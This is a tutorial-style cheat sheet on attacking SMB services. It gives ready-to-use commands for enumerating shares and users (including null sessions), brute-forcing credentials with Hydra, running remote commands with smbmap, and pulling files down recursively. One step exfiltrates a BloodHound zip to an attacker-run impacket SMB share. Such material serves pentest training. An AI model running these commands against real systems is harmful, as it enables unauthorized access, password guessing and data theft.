SMB

Description

SMB stands for Server Message Block. Default ports are 445, 139.

Ok what does it do? Glad you asked. It allows clients, like workstations, to communicate with a server like a share directory.

Enumeration

Nmap

Automatic enumeration can be done with Nmap like so. Pay attention here the port may be different but no all the time and of course the ip will be different.

nmap --script smb-brute -p 445 <target-ip>

nmap --script smb-enum-shares.nse,smb-enum-users.nse -p 445 <target-ip>

nmap --script smb-enum* -p 445 <target-ip>

nmap --script smb-protocols -p 445 <target-ip>

nmap --script smb-vuln* -p 445 <target-ip>

Enum4Linux

Enum4Linux enumerates the users, share directories, etc.

enum4linux <target-ip>    #  Basic use.

enum4linux -a <target-ip>	# All Enum.

enum4linux -v <target-ip>	# Verbose.

#Specify username and password this can get us even more information as we will have accessed that users share.
enum4linux -u username -p password <target-ip>

CrackMapExec

CrackMapExec enumerates the users, share directories, etc.

# Enumerate shares with credentials
crackmapexec smb 10.10.10.10 -u 'username' -p 'password' --shares

# Enumerate shares anonymously
crackmapexec smb 10.10.10.10 -u 'a' -p '' --shares

SMB Map

smbmap -H <target-ip>

smbmap -H <target-ip> -R	# Recursive lookup.

# Username and Password 
smbmap -u username -p password -H <target-ip>	

# Execute a command
smbmap -u username -p password -H <target-ip> -x 'ipconfig'

SMBClient

Connect with smbclient

smbclient -L 10.0.0.1

smbclient -N -L 10.0.0.1

smbclient -N -L \\\\10.0.0.1

smbclient -L 10.0.0.1 -U username

smbclient //10.0.0.1/somedir -N

# use of "" 
smbclient "//10.0.0.1/some dir" -N                       

# Specify shared directory
smbclient //10.0.0.1/somedir -U username        

# Specify workgroup
smbclient -L 10.0.0.1 -W WORKGROUP -U username

Brute Force

Brute Force Credentials

Hydra

hydra -l username -P passwords.txt <target-ip> smb

hydra -L usernames.txt -p password <target-ip> smb

Basic Commands

Once Connected we can find sensitive files or information and we love that as hackers dont we.

#List Files
smb> ls

# Download a file
smb> get sample.txt

# Put a file can be txt,pdf,php etc..
smb> put sample.txt

# Download files recursively below
smb> mask ""
smb> recurse ON
smb> prompt OFF
smb> mget *

# We can use smbget from our local machine as well
smbget -R smb://<target-ip>/somedir -U username        

# Specify work group
smbget -R smb://<target-ip>/somedir -w WORKGROUP -U username

# As anonymous user
smbget smb://<target-ip>/somedir -U anonymous  password: anonymous

# Transfer a file from windows to my attacker machine
# In your local kali make a directory that you want that file to go into.
mk dir smb

# Next we will run impacket-smbserver
sudo impacket-smbserver -smb2support share $(pwd)

#Then we will transfer the file over to that share we just set up with impacket-smbserver.
powershell copy bloodhound.zip \\attackip\share\

# I choose to show you a transfer of a bloodhound zip file which is super important when enumerating AD.

smbclient -N -L //<FQDN/IP>	Null session authentication on SMB.
smbclient //<FQDN/IP>/<share>	Connect to a specific SMB share.
rpcclient -U "" <FQDN/IP>	Interaction with the target using RPC.
samrdump.py <FQDN/IP>	Username enumeration using Impacket scripts.
smbmap -H <FQDN/IP>	Enumerating SMB shares.
crackmapexec smb <FQDN/IP> --shares -u '' -p ''	Enumerating SMB shares using null session authentication.
enum4linux-ng.py <FQDN/IP> -A	SMB enumeration using enum4linux.